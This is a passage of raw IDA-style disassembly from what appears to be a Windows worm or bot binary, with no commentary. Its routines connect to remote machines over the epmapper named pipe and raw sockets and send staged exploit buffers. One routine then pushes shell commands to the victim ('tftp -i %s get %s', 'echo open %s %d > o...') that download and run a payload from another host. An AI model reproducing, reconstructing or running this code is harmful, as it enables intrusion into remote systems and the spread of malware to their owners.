esi push 0 push ebx call sub_417030 lea eax, [ebp+var_1004] push edi push eax push ebx call sub_417090 mov eax, [ebp+arg_BC] add esp, 18h mov [eax], edi mov eax, ebx pop ebx loc_402DAD: ; CODE XREF: sub_402B61+3Ej pop edi pop esi leave retn sub_402B61 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_402DB1 proc near ; CODE XREF: sub_4075B8+1D7p ; DATA XREF: .data:off_429D64o var_1338 = byte ptr -1338h var_338 = byte ptr -338h var_138 = byte ptr -138h var_34 = byte ptr -34h var_24 = word ptr -24h var_22 = word ptr -22h var_20 = dword ptr -20h var_14 = byte ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_A0 = dword ptr 0A8h arg_A8 = dword ptr 0B0h push ebp mov ebp, esp mov eax, 1338h call sub_417830 cmp [ebp+arg_A0], 1BDh push ebx push esi push edi jnz loc_402F1F lea eax, [ebp+var_34] push eax lea eax, [ebp+arg_4] push eax call sub_4029C8 pop ecx test eax, eax pop ecx jz loc_40302F lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_138] push offset aSPipeEpmapper ; "\\\\%s\\pipe\\epmapper" push eax call sub_416FB6 add esp, 0Ch xor ebx, ebx lea eax, [ebp+var_138] push ebx push 80h push 3 push ebx push 1 push 0C0000000h push eax call dword_423084 ; CreateFileA mov [ebp+var_4], eax cmp eax, 0FFFFFFFFh lea eax, [ebp+arg_4] jnz short loc_402E36 loc_402E2A: ; CODE XREF: sub_402DB1+126j push eax call sub_402AAB pop ecx jmp loc_40302F ; --------------------------------------------------------------------------- loc_402E36: ; CODE XREF: sub_402DB1+77j push 2 push eax call sub_40D2C2 pop ecx lea esi, [ebp+arg_0] pop ecx push 1 push eax lea eax, [ebp+var_10] push eax sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B61 add esp, 0C8h cmp eax, ebx mov [ebp+var_8], eax jz short loc_402ECB mov edi, 186A0h push edi call sub_417889 mov esi, eax push edi push ebx push esi call sub_417030 add esp, 10h lea eax, [ebp+var_C] mov edi, 2710h push ebx push eax push edi push esi push 48h push offset dword_426670 push [ebp+var_4] call dword_423080 ; TransactNamedPipe cmp byte ptr [esi+2], 0Ch jnz short loc_402EBB lea eax, [ebp+var_14] push ebx push eax push [ebp+var_10] push [ebp+var_8] push [ebp+var_4] call dword_42307C ; WriteFile test eax, eax jnz short loc_402EDC loc_402EBB: ; CODE XREF: sub_402DB1+F0j push esi call sub_41793B push [ebp+var_8] call sub_41793B pop ecx pop ecx loc_402ECB: ; CODE XREF: sub_402DB1+B6j push [ebp+var_4] call dword_423078 ; CloseHandle lea eax, [ebp+arg_4] jmp loc_402E2A ; --------------------------------------------------------------------------- loc_402EDC: ; CODE XREF: sub_402DB1+108j lea eax, [ebp+var_C] push ebx push eax push edi push esi push [ebp+var_4] call dword_423074 ; ReadFile push [ebp+var_8] mov edi, eax call sub_41793B push esi call sub_41793B pop ecx pop ecx push [ebp+var_4] call dword_423078 ; CloseHandle lea eax, [ebp+arg_4] push eax call sub_402AAB cmp edi, 1 pop ecx jnz loc_403040 jmp loc_40302F ; --------------------------------------------------------------------------- loc_402F1F: ; CODE XREF: sub_402DB1+1Aj lea eax, [ebp+arg_4] push 1 push eax call sub_40D2C2 mov esi, eax pop ecx cmp esi, 1 pop ecx jz loc_40302F xor ebx, ebx push ebx push 1 push 2 call dword_43EBA4 ; socket cmp eax, 0FFFFFFFFh mov [ebp+var_4], eax jz loc_40302F push 10h lea eax, [ebp+var_24] push ebx push eax call sub_417030 add esp, 0Ch mov [ebp+var_24], 2 push [ebp+arg_A0] call dword_43EB24 ; htons mov [ebp+var_22], ax lea eax, [ebp+arg_4] push eax call dword_43EB64 ; inet_addr mov [ebp+var_20], eax push ebx lea eax, [ebp+var_C] push esi push eax lea esi, [ebp+arg_0] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_402B61 mov esi, eax add esp, 0C8h cmp esi, ebx mov [ebp+var_8], esi jnz short loc_402FB1 push [ebp+var_4] jmp short loc_403029 ; --------------------------------------------------------------------------- loc_402FB1: ; CODE XREF: sub_402DB1+1F9j mov edi, [ebp+var_4] lea eax, [ebp+var_24] push 10h push eax push edi call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jnz short loc_402FC9 loc_402FC6: ; CODE XREF: sub_402DB1+22Aj push esi jmp short loc_403022 ; --------------------------------------------------------------------------- loc_402FC9: ; CODE XREF: sub_402DB1+213j push ebx push 48h push offset dword_426670 push edi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_402FC6 mov esi, 1000h push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43EB3C ; recv push ebx push [ebp+var_C] push [ebp+var_8] push edi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_40300A push [ebp+var_8] jmp short loc_403022 ; --------------------------------------------------------------------------- loc_40300A: ; CODE XREF: sub_402DB1+252j push ebx lea eax, [ebp+var_1338] push esi push eax push edi call dword_43EB3C ; recv push [ebp+var_8] cmp eax, 0FFFFFFFFh jnz short loc_403033 loc_403022: ; CODE XREF: sub_402DB1+216j ; sub_402DB1+257j call sub_41793B pop ecx push edi loc_403029: ; CODE XREF: sub_402DB1+1FEj call dword_43EBBC ; closesocket loc_40302F: ; CODE XREF: sub_402DB1+31j ; sub_402DB1+80j ... xor eax, eax jmp short loc_40309D ; --------------------------------------------------------------------------- loc_403033: ; CODE XREF: sub_402DB1+26Fj call sub_41793B pop ecx push edi call dword_43EBBC ; closesocket loc_403040: ; CODE XREF: sub_402DB1+163j lea eax, [ebp+arg_4] push eax lea eax, [ebp+var_338] push offset unk_426BA4 push eax call sub_416FB6 add esp, 0Ch loc_403058: ; CODE XREF: sub_402DB1+2C7j lea eax, [ebp+var_338] push eax call sub_40BE6E test eax, eax pop ecx jnz short loc_40307C push 1388h call dword_423064 ; Sleep inc ebx cmp ebx, 6 jl short loc_403058 jmp short loc_40309A ; --------------------------------------------------------------------------- loc_40307C: ; CODE XREF: sub_402DB1+2B6j lea eax, [ebp+var_338] push eax call sub_40BD8D mov eax, [ebp+arg_A8] pop ecx imul eax, 3Ch lea eax, dword_429D68[eax] inc dword ptr [eax] loc_40309A: ; CODE XREF: sub_402DB1+2C9j xor eax, eax inc eax loc_40309D: ; CODE XREF: sub_402DB1+280j pop edi pop esi pop ebx leave retn sub_402DB1 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: thunk sub_4030A2 proc near ; DATA XREF: .data:00425004o jmp $+5 sub_4030A2 endp ; sp-analysis failed ; =============== S U B R O U T I N E ======================================= sub_4030A7 proc near push 0BB80h push 76Ch call sub_4151D8 pop ecx mov dword_43BCEC, eax pop ecx retn sub_4030A7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4030BE proc near ; CODE XREF: sub_40321F+42Cp var_5A0 = byte ptr -5A0h var_1A0 = byte ptr -1A0h var_10 = word ptr -10h var_E = word ptr -0Eh var_C = dword ptr -0Ch arg_0 = dword ptr 8 arg_4 = byte ptr 0Ch push ebp mov ebp, esp sub esp, 5A0h push ebx push esi push edi xor esi, esi push 10h lea eax, [ebp+var_10] push esi push eax call sub_417030 add esp, 0Ch lea eax, [ebp+arg_4] mov [ebp+var_10], 2 push eax call dword_43EB64 ; inet_addr mov [ebp+var_C], eax mov ax, word ptr dword_43BCEC push eax call dword_43EB24 ; htons push esi push 1 push 2 mov [ebp+var_E], ax call dword_43EBA4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_4031F8 lea eax, [ebp+var_10] push 10h push eax push ebx call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jz loc_4031F8 push esi lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43EB3C ; recv mov esi, offset byte_42E9B8 push esi push esi push [ebp+arg_0] call sub_40AD08 pop ecx mov edi, 190h push eax push offset aTftpISGetS ; "tftp -i %s get %s\r\n" lea eax, [ebp+var_1A0] push edi push eax call sub_41752A add esp, 18h push esi push esi push dword_43BD0C push [ebp+arg_0] call sub_40AD08 pop ecx push eax push offset aEchoOpenSDOEch ; "echo open %s %d > o&echo user 1 1 >> o "... lea eax, [ebp+var_1A0] push edi push eax call sub_41752A add esp, 1Ch lea eax, [ebp+var_1A0] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_4031F8 push 1F4h call dword_423064 ; Sleep push esi push offset dword_4275E0 lea eax, [ebp+var_1A0] push edi push eax call sub_41752A add esp, 10h lea eax, [ebp+var_1A0] push 0 push eax call sub_4177B0 pop ecx push eax lea eax, [ebp+var_1A0] push eax push ebx call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_4031FC loc_4031F8: ; CODE XREF: sub_4030BE+51j ; sub_4030BE+67j ... xor al, al jmp short loc_40321A ; --------------------------------------------------------------------------- loc_4031FC: ; CODE XREF: sub_4030BE+138j push 0 lea eax, [ebp+var_5A0] push 400h push eax push ebx call dword_43EB3C ; recv push ebx call dword_43EBBC ; closesocket mov al, 1 loc_40321A: ; CODE XREF: sub_4030BE+13Cj pop edi pop esi pop ebx leave retn sub_4030BE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40321F proc near ; CODE XREF: .data:00403782p ; .data:004037A4p var_89B4 = byte ptr -89B4h var_894C = byte ptr -894Ch var_68DC = byte ptr -68DCh var_686C = byte ptr -686Ch var_5DA8 = byte ptr -5DA8h var_4804 = byte ptr -4804h var_4803 = byte ptr -4803h var_3770 = byte ptr -3770h var_2CAC = byte ptr -2CACh var_2CAB = byte ptr -2CABh var_2CA8 = byte ptr -2CA8h var_2C2C = byte ptr -2C2Ch var_245C = byte ptr -245Ch var_1FB1 = byte ptr -1FB1h var_1CC4 = byte ptr -1CC4h var_14E0 = byte ptr -14E0h var_14D0 = byte ptr -14D0h var_11AC = byte ptr -11ACh var_11A8 = byte ptr -11A8h var_119C = byte ptr -119Ch var_F14 = byte ptr -0F14h var_E74 = byte ptr -0E74h var_768 = dword ptr -768h var_758 = byte ptr -758h var_744 = byte ptr -744h var_104 = byte ptr -104h var_103 = byte ptr -103h var_B4 = byte ptr -0B4h var_B1 = byte ptr -0B1h var_87 = byte ptr -87h var_85 = byte ptr -85h var_84 = byte ptr -84h var_3C = byte ptr -3Ch var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_6 = dword ptr -6 var_2 = byte ptr -2 var_1 = byte ptr -1 arg_0 = byte ptr 8 arg_4 = byte ptr 0Ch arg_BC = dword ptr 0C4h arg_C0 = dword ptr 0C8h push ebp mov ebp, esp mov eax, 89B4h call sub_417830 mov eax, dword_42767C push ebx mov [ebp+var_10], eax mov eax, dword_427680 mov [ebp+var_C], eax push esi lea eax, [ebp+arg_4] push edi push eax lea eax, [ebp+var_3C] push offset loc_427670 push eax call sub_416FB6 add esp, 0Ch xor ebx, ebx xor eax, eax loc_403258: ; CODE XREF: sub_40321F+4Fj mov cl, [ebp+eax+var_3C] mov [ebp+eax*2+var_103], bl mov [ebp+eax*2+var_104], cl inc eax cmp eax, 28h jl short loc_403258 push 60h lea eax, [ebp+var_B4] push offset dword_4270E8 push eax call sub_417090 lea eax, [ebp+var_3C] push eax call sub_4177B0 add eax, eax push eax lea eax, [ebp+var_104] push eax lea eax, [ebp+var_84] push eax call sub_417090 add esp, 1Ch lea eax, [ebp+var_3C] push 9 push (offset aC_0+3) push eax call sub_4177B0 pop ecx lea eax, [ebp+eax*2+var_85] push eax call sub_417090 lea eax, [ebp+var_3C] push eax call sub_4177B0 add al, 1Ah push 1 add al, al mov [ebp+var_1], al lea eax, [ebp+var_1] push eax lea eax, [ebp+var_B1] push eax call sub_417090 lea eax, [ebp+var_3C] push eax call sub_4177B0 add al, al push 1 add al, 9 mov [ebp+var_2], al lea eax, [ebp+var_2] push eax lea eax, [ebp+var_87] push eax call sub_417090 mov ax, word ptr dword_43BCEC add esp, 2Ch push eax call dword_43EB24 ; htons xor eax, 9999h push 2 mov [ebp+var_6], eax lea eax, [ebp+var_6] push eax push offset dword_426DE0 call sub_417090 add esp, 0Ch cmp [ebp+arg_C0], ebx jz loc_40341D mov edi, 0DACh lea eax, [ebp+var_1CC4] push edi push 90h push eax call sub_417030 mov eax, [ebp+arg_C0] push 4 imul eax, 3Ch lea eax, dword_427528[eax] mov [ebp+var_14], eax push eax lea eax, [ebp+var_14E0] push eax call sub_417090 mov esi, offset loc_426D30 push esi call sub_4177B0 push eax lea eax, [ebp+var_14D0] push esi push eax call sub_417090 push 4 lea eax, [ebp+var_11AC] push offset loc_427668 push eax call sub_417090 push 4 lea eax, [ebp+var_11A8] push [ebp+var_14] push eax call sub_417090 add esp, 40h push esi call sub_4177B0 push eax lea eax, [ebp+var_119C] push esi push eax call sub_417090 add esp, 10h xor eax, eax loc_4033CF: ; CODE XREF: sub_40321F+1C8j mov cl, [ebp+eax+var_1CC4] mov [ebp+eax*2+var_4803], bl mov [ebp+eax*2+var_4804], cl inc eax cmp eax, edi jl short loc_4033CF mov esi, 1C52h lea eax, [ebp+var_89B4] push esi push 31h push eax mov [ebp+var_2CAC], bl mov [ebp+var_2CAB], bl call sub_417030 push esi lea eax, [ebp+var_68DC] push 31h push eax call sub_417030 add esp, 18h jmp short loc_403474 ; --------------------------------------------------------------------------- loc_40341D: ; CODE XREF: sub_40321F+119j push 7D0h lea eax, [ebp+var_F14] push 90h push eax call sub_417030 mov esi, offset loc_426D30 push esi call sub_4177B0 push eax lea eax, [ebp+var_E74] push esi push eax call sub_417090 lea eax, [ebp+var_10] push eax call sub_4177B0 push eax lea eax, [ebp+var_10] push eax lea eax, [ebp+var_758] push eax call sub_417090 mov eax, dword_427528 add esp, 2Ch mov [ebp+var_768], eax loc_403474: ; CODE XREF: sub_40321F+1FCj push 0E29h lea eax, [ebp+var_2CA8] push 31h push eax call sub_417030 movsx eax, [ebp+var_1] mov edi, [ebp+arg_BC] add esp, 0Ch add eax, 4 push ebx push eax lea eax, [ebp+var_B4] push eax push edi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jnz short loc_4034B3 loc_4034AC: ; CODE XREF: sub_40321F+2BBj ; sub_40321F+2E2j ... xor al, al jmp loc_40365B ; --------------------------------------------------------------------------- loc_4034B3: ; CODE XREF: sub_40321F+28Bj mov esi, 640h push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43EB3C ; recv push ebx push 68h push offset dword_427150 push edi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_4034AC push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43EB3C ; recv push ebx push 0A0h push offset dword_4271C0 push edi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_4034AC push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43EB3C ; recv cmp [ebp+arg_C0], ebx jz loc_4035C9 push 68h lea eax, [ebp+var_89B4] push offset dword_427380 push eax call sub_417090 lea eax, [ebp+var_4804] push 1B5Ah push eax lea eax, [ebp+var_894C] push eax call sub_417090 push 70h lea eax, [ebp+var_68DC] push offset dword_4273F0 push eax call sub_417090 lea eax, [ebp+var_3770] push 0A5Eh push eax lea eax, [ebp+var_686C] push eax call sub_417090 push 84h lea eax, [ebp+var_5DA8] push offset dword_427468 push eax call sub_417090 add esp, 3Ch lea eax, [ebp+var_89B4] push ebx push 10FCh push eax push edi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz loc_4034AC push ebx lea eax, [ebp+var_744] push esi push eax push edi call dword_43EB3C ; recv push ebx push 0FDCh lea eax, [ebp+var_68DC] jmp short loc_40361F ; --------------------------------------------------------------------------- loc_4035C9: ; CODE XREF: sub_40321F+2FAj push 7Ch lea eax, [ebp+var_2CA8] push offset dword_427268 push eax call sub_417090 lea eax, [ebp+var_F14] push 7D0h push eax lea eax, [ebp+var_2C2C] push eax call sub_417090 push 90h lea eax, [ebp+var_245C] push offset off_4272E8 push eax call sub_417090 add esp, 24h mov [ebp+var_1FB1], bl lea eax, [ebp+var_2CA8] push ebx push 0CF8h loc_40361F: ; CODE XREF: sub_40321F+3A8j push eax push edi call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz loc_4034AC push 12Ch call dword_423064 ; Sleep sub esp, 0BCh lea esi, [ebp+arg_0] push 2Fh pop ecx mov edi, esp rep movsd call sub_4030BE add esp, 0BCh test al, al setnz al loc_40365B: ; CODE XREF: sub_40321F+28Fj pop edi pop esi pop ebx leave retn sub_40321F endp ; --------------------------------------------------------------------------- push ebp mov ebp, esp sub esp, 854h push ebx push esi push edi push 0BB80h push 76Ch call sub_4151D8 xor edi, edi push 10h lea eax, [ebp-14h] push edi push eax mov [ebp-4], edi call sub_417030 add esp, 14h lea eax, [ebp+0Ch] mov word ptr [ebp-14h], 2 push eax call dword_43EB64 ; inet_addr push dword ptr [ebp+0A8h] mov [ebp-10h], eax call dword_43EB24 ; htons push 6 push 1 push 2 mov [ebp-12h], ax call dword_43EBA4 ; socket mov ebx, eax cmp ebx, 0FFFFFFFFh jz loc_403768 lea eax, [ebp-14h] push 10h push eax push ebx call dword_43EACC ; connect cmp eax, 0FFFFFFFFh jz loc_403768 push edi push 89h push offset dword_426EC8 push ebx call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_403768 mov esi, 640h push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43EB3C ; recv push edi push 0A8h push offset dword_426F58 push ebx call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_403768 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43EB3C ; recv push edi push 0DEh push offset dword_427008 push ebx call dword_43EB74 ; send cmp eax, 0FFFFFFFFh jz short loc_403768 push edi lea eax, [ebp-654h] push esi push eax push ebx call dword_43EB3C ; recv movsx eax, byte ptr [ebp-610h] sub eax, 30h jz short loc_40376F dec eax jz short loc_40376C loc_403768: ; CODE XREF: .data:004036C3j ; .data:004036D9j ... xor eax, eax jmp short loc_4037E8 ; --------------------------------------------------------------------------- loc_40376C: ; CODE XREF: .data:00403766j push edi jmp short loc_403793 ; --------------------------------------------------------------------------- loc_40376F: ; CODE XREF: .data:00403763j push 2 push ebx sub esp, 0BCh lea esi, [ebp+8] push 2Fh pop ecx mov edi, esp rep movsd call sub_40321F add esp, 0C4h test al, al jnz short loc_4037B3 push 1 loc_403793: ; CODE XREF: .data:0040376Dj push ebx lea esi, [ebp+8] sub esp, 0BCh push 2Fh pop ecx mov edi, esp rep movsd call sub_40321F add esp, 0C4h test al, al jz short loc_4037BA loc_4037B3: ; CODE XREF: .data:0040378Fj mov dword ptr [ebp-4], 1 loc_4037BA: ; CODE XREF: .data:004037B1j push ebx call dword_43EBBC ; closesocket cmp dword ptr [ebp-4], 0 jz short loc_4037E5 lea eax, [ebp-854h] push eax call sub_40BD8D mov eax, [ebp+0B0h] pop ecx imul eax, 3Ch lea eax, dword_429D68[eax] inc dword ptr [eax] loc_4037E5: ; CODE XREF: .data:004037C5j xor eax, eax inc eax loc_4037E8: ; CODE XREF: .data:0040376Aj pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_4037ED proc near ; CODE XREF: sub_403A59+Ep ; sub_403A59+33p ... mov eax, ecx and dword ptr [eax+4], 0 and dword ptr [eax], 0 retn sub_4037ED endp ; =============== S U B R O U T I N E ======================================= sub_4037F7 proc near ; CODE XREF: sub_403A59+11Ep arg_0 = dword ptr 4 arg_4 = dword ptr 8 push ebx mov ebx, [esp+4+arg_4] push esi push edi push ebx mov esi, ecx call sub_417889 mov edi, eax pop ecx test edi, edi jz short loc_403829 push ebx push 0 push edi call sub_417030 push ebx push [esp+1Ch+arg_0] push edi call sub_417090 add esp, 18h mov [esi+4], ebx mov [esi], edi loc_403829: ; CODE XREF: sub_4037F7+14j mov eax, esi pop edi pop esi pop ebx retn 8 sub_4037F7 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403831 proc near ; CODE XREF: sub_403923+18p ; sub_40399D+16p ... arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h push ebp mov ebp, esp mov eax, [ebp+arg_4] push ebx mov ebx, ecx mov ecx, [ebp+arg_C] push esi push edi lea edi, [eax+ecx] push edi call sub_417889 mov esi, eax pop ecx test esi, esi jz short loc_40387D push edi push 0 push esi call sub_417030 push [ebp+arg_4] push [ebp+arg_0] push esi call sub_417090 push [ebp+arg_C] mov eax, [ebp+arg_4] add eax, esi push [ebp+arg_8] push eax call sub_417090 add esp, 24h mov [ebx+4], edi mov [ebx], esi loc_40387D: ; CODE XREF: sub_403831+1Cj pop edi mov eax, ebx pop esi pop ebx pop ebp retn 10h sub_403831 endp ; =============== S U B R O U T I N E ======================================= sub_403886 proc near ; CODE XREF: sub_403923+5Ep ; sub_403923+6Fp ... push esi mov esi, ecx mov eax, [esi] test eax, eax jz short loc_403896 push eax call sub_41793B pop ecx loc_403896: ; CODE XREF: sub_403886+7j and dword ptr [esi+4], 0 and dword ptr [esi], 0 pop esi retn sub_403886 endp ; =============== S U B R O U T I N E ======================================= sub_40389F proc near ; CODE XREF: sub_403923+20p ; sub_4039FE+8p ... push ebx push esi mov esi, ecx push edi mov eax, [esi+4] cmp eax, 0FFFFh jge short loc_4038C9 xor ebx, ebx cmp eax, 7Fh setnl bl lea ebx, [ebx+ebx+1] add eax, ebx push eax call sub_417889 mov edi, eax pop ecx test edi, edi jnz short loc_4038CD loc_4038C9: ; CODE XREF: sub_40389F+Dj xor al, al jmp short loc_40391F ; --------------------------------------------------------------------------- loc_4038CD: ; CODE XREF: sub_40389F+28j mov eax, [esi+4] add eax, ebx push eax push 0 push edi call sub_417030 add esp, 0Ch cmp ebx, 1 jnz short loc_4038ED mov al, [esi+4] mov [edi], al lea eax, [edi+1] jmp short loc_403902 ; --------------------------------------------------------------------------- loc_4038ED: ; CODE XREF: sub_40389F+42j mov byte ptr [edi], 82h mov eax, [esi+4] sar eax, 8 mov [edi+1], al mov al, [esi+4] mov [edi+2], al lea eax, [edi+3] loc_403902: ; CODE XREF: sub_40389F+4Cj push dword ptr [esi+4] push dword ptr [esi] push eax call sub_417090 add esp, 0Ch push dword ptr [esi] call sub_41793B add [esi+4], ebx pop ecx mov [esi], edi mov al, 1 loc_40391F: ; CODE XREF: sub_40389F+2Cj pop edi pop esi pop ebx retn sub_40389F endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403923 proc near ; CODE XREF: sub_403A59+89p ; sub_403A59+E3p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push edi lea ecx, [ebp+var_8] push dword ptr [esi+4] push dword ptr [esi] push 1 push offset dword_43BCF8 call sub_403831 lea ecx, [ebp+var_8] call sub_40389F mov eax, [ebp+var_4] inc eax push eax call sub_417889 mov edi, eax pop ecx test edi, edi jnz short loc_40395D xor al, al jmp short loc_403999 ; --------------------------------------------------------------------------- loc_40395D: ; CODE XREF: sub_403923+34j mov eax, [ebp+var_4] inc eax push eax push 0 push edi call sub_417030 mov byte ptr [edi], 3 push [ebp+var_4] lea eax, [edi+1] push [ebp+var_8] push eax call sub_417090 add esp, 18h mov ecx, esi call sub_403886 mov eax, [ebp+var_4] lea ecx, [ebp+var_8] inc eax mov [esi], edi mov [esi+4], eax call sub_403886 mov al, 1 loc_403999: ; CODE XREF: sub_403923+38j pop edi pop esi leave retn sub_403923 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_40399D proc near ; CODE XREF: sub_4039D1+14p ; sub_4039EE+8p ... var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx push [ebp+arg_4] lea ecx, [ebp+var_8] push [ebp+arg_0] push dword ptr [esi+4] push dword ptr [esi] call sub_403831 mov ecx, esi call sub_403886 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 pop esi leave retn 8 sub_40399D endp ; =============== S U B R O U T I N E ======================================= sub_4039D1 proc near ; CODE XREF: sub_403A59+F0p ; sub_403A59+15Bp ... arg_0 = dword ptr 4 push esi mov esi, ecx push [esp+4+arg_0] call sub_4177B0 pop ecx push eax mov ecx, esi push [esp+8+arg_0] call sub_40399D pop esi retn 4 sub_4039D1 endp ; =============== S U B R O U T I N E ======================================= sub_4039EE proc near ; CODE XREF: sub_403A3A+Bp ; sub_403A59+1A1p ... arg_0 = dword ptr 4 arg_4 = dword ptr 8 push [esp+arg_4] push [esp+4+arg_0] call sub_40399D retn 8 sub_4039EE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_4039FE proc near ; CODE XREF: sub_403A3A+16p ; sub_403A59+91p ... var_8 = dword ptr -8 var_4 = dword ptr -4 push ebp mov ebp, esp push ecx push ecx push esi mov esi, ecx call sub_40389F test al, al jz short loc_403A37 push dword ptr [esi+4] lea ecx, [ebp+var_8] push dword ptr [esi] push 1 push (offset loc_4279FF+1) call sub_403831 mov ecx, esi call sub_403886 mov eax, [ebp+var_8] mov [esi], eax mov eax, [ebp+var_4] mov [esi+4], eax mov al, 1 loc_403A37: ; CODE XREF: sub_4039FE+Fj pop esi leave retn sub_4039FE endp ; =============== S U B R O U T I N E ======================================= sub_403A3A proc near ; CODE XREF: sub_403A59+134p arg_0 = dword ptr 4 arg_4 = dword ptr 8 push esi mov esi, ecx push [esp+4+arg_4] push [esp+8+arg_0] call sub_4039EE test al, al jz short loc_403A55 mov ecx, esi call sub_4039FE loc_403A55: ; CODE XREF: sub_403A3A+12j pop esi retn 8 sub_403A3A endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_403A59 proc near ; CODE XREF: .data:004042D0p var_858 = byte ptr -858h var_58 = dword ptr -58h var_54 = dword ptr -54h var_50 = dword ptr -50h var_4C = dword ptr -4Ch var_48 = dword ptr -48h var_44 = dword ptr -44h var_40 = dword ptr -40h var_3C = dword ptr -3Ch var_38 = dword ptr -38h var_34 = dword ptr -34h var_30 = dword ptr -30h var_2C = dword ptr -2Ch var_28 = dword ptr -28h var_24 = dword ptr -24h var_20 = dword ptr -20h var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_10 = dword ptr 18h push ebp mov ebp, esp sub esp, 858h push ebx push edi lea ecx, [ebp+var_48] call sub_4037ED mov edi, 408h cmp [ebp+arg_8], edi jg loc_403D9D mov ebx, [ebp+arg_10] lea eax, [ebx+8] cmp eax, edi ja loc_403D9D push esi lea ecx, [ebp+var_30] call sub_4037ED lea ecx, [ebp+var_20] call sub_4037ED lea ecx, [ebp+var_50] call sub_4037ED lea ecx, [ebp+var_18] call sub_4037ED lea ecx, [ebp+var_40] call sub_4037ED lea ecx, [ebp+var_38] call sub_4037ED lea ecx, [ebp+var_28] call sub_4037ED push 4 push offset dword_427694 lea ecx, [ebp+var_30] call sub_40399D push 3 push offset dword_42769C lea ecx, [ebp+var_30] call sub_40399D lea ecx, [ebp+var_30] call sub_403923 lea ecx, [ebp+var_30] call sub_4039FE mov esi, 800h lea eax, [ebp+var_858] push esi push 42h push eax call sub_417030 add esp, 0Ch lea ecx, [ebp+var_20] push 8 push offset byte_427688 call sub_40399D push ebx lea ecx, [ebp+var_20] push [ebp+arg_C] call sub_40399D mov eax, 409h lea ecx, [ebp+var_20] sub eax, [ebp+var_1C] push eax lea eax, [ebp+var_858] push eax call sub_40399D lea ecx, [ebp+var_20] call sub_403923 push offset loc_427A28 lea ecx, [ebp+var_50] call sub_4039D1 lea ecx, [ebp+var_50] call sub_403923 push esi lea eax, [ebp+var_858] push 44h push eax call sub_417030 add esp, 0Ch lea eax, [ebp+var_858] lea ecx, [ebp+var_58] push 410h push eax call sub_4037F7 lea ecx, [ebp+var_58] call sub_403923 push [ebp+var_54] lea ecx, [ebp+var_50] push [ebp+var_58] call sub_403A3A lea ecx, [ebp+var_58] call sub_403886 push esi lea eax, [ebp+var_858] push 43h push eax call sub_417030 add esp, 0Ch push offset aCccc ; "CCCC" lea ecx, [ebp+var_18] call sub_4039D1 push 4 push offset dword_4276A0 lea ecx, [ebp+var_18] call sub_40399D push [ebp+arg_8] lea ecx, [ebp+var_18] push [ebp+arg_4] call sub_40399D sub edi, [ebp+arg_8] lea eax, [ebp+var_858] lea ecx, [ebp+var_18] push edi push eax call sub_40399D lea ecx, [ebp+var_18] call sub_403923 push [ebp+var_14] lea ecx, [ebp+var_40] push [ebp+var_18] call sub_4039EE push [ebp+var_4C] lea ecx, [ebp+var_40] push [ebp+var_50] call sub_4039EE lea ecx, [ebp+var_40] call sub_4039FE lea ecx, [ebp+var_18] call sub_403886 lea ecx, [ebp+var_50] call sub_403886 push [ebp+var_1C] lea ecx, [ebp+var_38] push [ebp+var_20] call sub_4039EE push [ebp+var_2C] lea ecx, [ebp+var_38] push [ebp+var_30] call sub_4039EE push [ebp+var_3C] lea ecx, [ebp+var_38] push [ebp+var_40] call sub_4039EE lea ecx, [ebp+var_38] call sub_4039FE lea ecx, [ebp+var_20] call sub_403886 lea ecx, [ebp+var_30] call sub_403886 lea ecx, [ebp+var_40] call sub_403886 push 